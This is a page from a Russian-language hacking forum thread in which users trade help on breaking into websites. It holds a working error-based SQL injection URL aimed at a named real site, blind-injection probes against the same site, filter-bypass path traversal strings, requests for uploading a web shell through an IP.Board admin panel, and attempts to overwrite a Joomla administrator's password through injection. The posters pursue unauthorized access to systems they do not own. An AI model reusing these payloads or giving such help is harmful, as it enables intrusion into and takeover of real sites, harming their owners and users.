Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 1018 of 1207
  1. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Не как, надо грузить на серв(ИЩИ В АДМИНКЕ НАСТРОЙКИ ЗАГРУЗКИ).
    Прав не хватает?
     
    #20341 mironich, 6 May 2012
  2. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to TorRom
    Может быть WAF? Как вариант :)
     
    #20342 cat1vo, 6 May 2012
  3. TorRom

    TorRom New Member

    Joined:
    29 Apr 2012
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Я не так далеко лезу. Должно хватать. Не выше корня сайта.

    Да, это WAF. Проверил, если запрос содержит:
    Code:
    union
#00
alert(
    Получаем 403 Forbidden

    allow_url_include=on по всей видимости, фишка с data не работает. Есть ещё способы?
     
    #20343 TorRom, 6 May 2012
  4. --=[Bob]=--

    --=[Bob]=-- New Member

    Joined:
    8 Mar 2011
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Можно ли Залить шелл на ipb 3.6.x ? Есть доступ к админке
     
    #20344 --=[Bob]=--, 7 May 2012
  5. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to --=[Bob]=--

    Последняя версия — IPB 3.3.0: 21 марта 2012

    Вы, ничего не путаете?
     
    #20345 cat1vo, 7 May 2012
  6. lightangel

    lightangel New Member

    Joined:
    7 Nov 2011
    Messages:
    91
    Likes Received:
    3
    Reputations:
    -6
    Guys. I got version working perfectly.

    Code:
    http://af-art.be/common/catalog2.php?g_id=3+or+1+group+by+concat_ws%280x7e,version%28%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--
    I cannot grab tables.
     
    #20346 lightangel, 7 May 2012
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Because there is no `information_schema.table`. Logically, is not it?
     
    #20347 Га-Ноцри, 7 May 2012
  8. lightangel

    lightangel New Member

    Joined:
    7 Nov 2011
    Messages:
    91
    Likes Received:
    3
    Reputations:
    -6
    But this is version 5.

    Only version 4 has no `information_schema.table`.
     
    #20348 lightangel, 7 May 2012
  9. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Code:
    Duplicate entry '3.23.58~1' for key 1

http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(4)
http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(3)
    You have 3.23.58 version of MySQL. Information_schema appeared in the 5 version of MySQL
     
    #20349 cat1vo, 7 May 2012
    Last edited: 7 May 2012
    1 person likes this.
  10. lightangel

    lightangel New Member

    Joined:
    7 Nov 2011
    Messages:
    91
    Likes Received:
    3
    Reputations:
    -6
    Thank you now, I know it's blind SQL injection.

    I will just use Boolean Based on this one.
     
    #20350 lightangel, 7 May 2012
  11. --=[Bob]=--

    --=[Bob]=-- New Member

    Joined:
    8 Mar 2011
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Сорри, 3.2.3

    Нужно както залить шелл. есть доступ к админке...
     
    #20351 --=[Bob]=--, 7 May 2012
  12. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    --=[Bob]=--
    Отсюда ничего не подходит? https://forum.antichat.ru/threadnav89112-1-10.html
     
    #20352 Skofield, 7 May 2012
  13. --=[Bob]=--

    --=[Bob]=-- New Member

    Joined:
    8 Mar 2011
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Нет..
     
    #20353 --=[Bob]=--, 7 May 2012
  14. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Попробуй ....//....//....// или .././.././.././.././.././
     
    #20354 ZARO, 9 May 2012
    Last edited: 9 May 2012
  15. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Вопрос чайника:
    Каким запросом можно обновить данные в ячейке таблицы?
    Делал так
    35+union+select+1,2,3+from+mysql.user+into+update+jos_users+set+password+'test'+where+username+'admin'
    и так
    35+union+select+1,2,3+from+mysql.user+into+update+jos_users+set+password='test'+where+username='admin'
    никак не получается.
     
    #20355 cipa21, 9 May 2012
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    cipa21,
    You have an error SQL syntax. Please, read manuals :D

    35+union+select+1,2,3+from+mysql.user+into+update+ jos_users+set+password+'test'+where+username+'admin'

    1. Синтаксис не правильный.
    2. В MYSQL не выполнишь 2 запроса этим ";".
    3. С Днем Победы =) Желаю тебе побед!
     
    #20356 Ereee, 9 May 2012
  17. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Остроумно!
    Я и без вас знаю что не правильный, иначе не писал бы тут....
     
    #20357 cipa21, 9 May 2012
  18. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to cipa21
    Вам же MySQL сказал, учите мануалы. UPDATE нельзя выполнить в SELECT запросе!

    З.Ы. INTO UPDATE - первый раз такое вижу :D
     
    #20358 cat1vo, 9 May 2012
    Last edited: 9 May 2012
  19. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    В одном mysql запросе у тебя не получится и SELECT и UPDATE выполнить.
     
    #20359 ZARO, 9 May 2012
  20. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Поставлю вопрос иначе... Можно как-то сменить пароль админа через строку(см. выше)?
     
    #20360 cipa21, 9 May 2012
(You must log in or sign up to post here.)
Page 1018 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.